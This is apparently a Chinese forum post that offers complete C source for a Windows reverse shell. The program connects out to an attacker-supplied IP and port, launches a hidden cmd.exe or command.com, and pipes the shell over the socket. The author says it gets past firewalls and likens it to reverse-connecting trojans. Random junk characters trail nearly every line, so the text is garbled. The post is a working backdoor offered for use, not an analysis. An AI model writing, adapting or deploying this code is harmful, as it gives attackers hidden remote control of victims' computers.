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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tvJl&{-OX  
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/* ============================== (0rcLNk{|  
Rebound port in Windows NT 8G3.bi'q   
By wind,2006/7 )}Cf6 m}  
===============================*/ lI@Z)~  
#include '$5d6?BC`3  
#include }g:'K  
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#pragma comment(lib,"wsock32.lib") v9(N}hoP  
,uO_C(G/i  
void OutputShell(); MPYYTQ1FB  
SOCKET sClient; K??jV&Xor  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?~cO\(TY["  
6X$nZM|g,  
void main(int argc,char **argv) {\|XuCF#  
{ _qh \  
WSADATA stWsaData; w4zp%`?D'  
int nRet; 3} C-Hg+gt  
SOCKADDR_IN stSaiClient,stSaiServer; JOs kf(  
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if(argc != 3) p4kK" \ln  
{ +U?73cYN  
printf("Useage:\n\rRebound DestIP DestPort\n"); ch0cFF^]  
return; xn)F(P 0kv  
} vG=Pi'4XXo  
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WSAStartup(MAKEWORD(2,2),&stWsaData); RN;#H_ q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z]=Ks_7  
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stSaiClient.sin_family = AF_INET; NGEE'4!i7T  
stSaiClient.sin_port = htons(0); $#wi2Ve=6b  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^x_.3E3Q  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4#I=n~8a  
{ !#E-p?O.  
printf("Bind Socket Failed!\n"); Zjs,R{  
return; j J54<.D  
} t{B6W)q  
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stSaiServer.sin_family = AF_INET; %O{FZgi%wA  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T>&dPVmG,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6vzvH  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /Wdrpv-%,1  
{ t*Z-]P  
printf("Connect Error!"); d[E= HN  
return; 8-smL^~%#  
} rERtOgi  
OutputShell(); TaKCN   
} =YtK@+| i  
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void OutputShell() ':utU1dL  
{ +RK/u  
char szBuff[1024]; F(,SnSam  
SECURITY_ATTRIBUTES stSecurityAttributes; jASK!3pY  
OSVERSIONINFO stOsversionInfo; `G>|g^6%i  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~u?rjkSFoh  
STARTUPINFO stStartupInfo; qc.9GC  
char *szShell; J>nta?/,X  
PROCESS_INFORMATION stProcessInformation; NCm=l  
unsigned long lBytesRead; YG>Eop  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D^{jXNDNO  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JBISA _Y  
stSecurityAttributes.lpSecurityDescriptor = 0; dtXtZ!g2  
stSecurityAttributes.bInheritHandle = TRUE; s GrI%3[e"  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .0|_J|{  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i_I`  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); J.0&gP V  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TJ,?C$3  
stStartupInfo.wShowWindow = SW_HIDE; F[fs^Q6S$  
stStartupInfo.hStdInput = hReadPipe; 6\)u\m`7-l  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; LD,T$"  
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GetVersionEx(&stOsversionInfo); }E)t,T>  
}5X.*wz  
switch(stOsversionInfo.dwPlatformId) >PGsY[N  
{ T$V8 n_;  
case 1: mrVN&.  
szShell = "command.com"; fo I:`]2"*  
break; ,yi@?lc  
default: LBcqFvj{&  
szShell = "cmd.exe"; %Wc$S]>i  
break; ;[|+tO_  
} {|e7^_ke  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J/[PA[Rf  
% <h2^H\O  
send(sClient,szMsg,77,0); V. o*`V  
while(1) J!'IkC$>  
{ w *o _s  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); **ls 4CE<  
if(lBytesRead) zXd#kw;  
{ YIYuqtnSJ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e"2x!(&n(  
send(sClient,szBuff,lBytesRead,0); u5,vchZ  
} \/r]Ra  
else =e6!U5 f  
{ E7]a#  
lBytesRead=recv(sClient,szBuff,1024,0); (. ,{x)H  
if(lBytesRead<=0) break; [bN_0T.YI  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v\XO?UEJ2  
} Xd&oERJj  
} L-e6^%eU  
vNU[K%U  
return; _cbXzSYq&  
}
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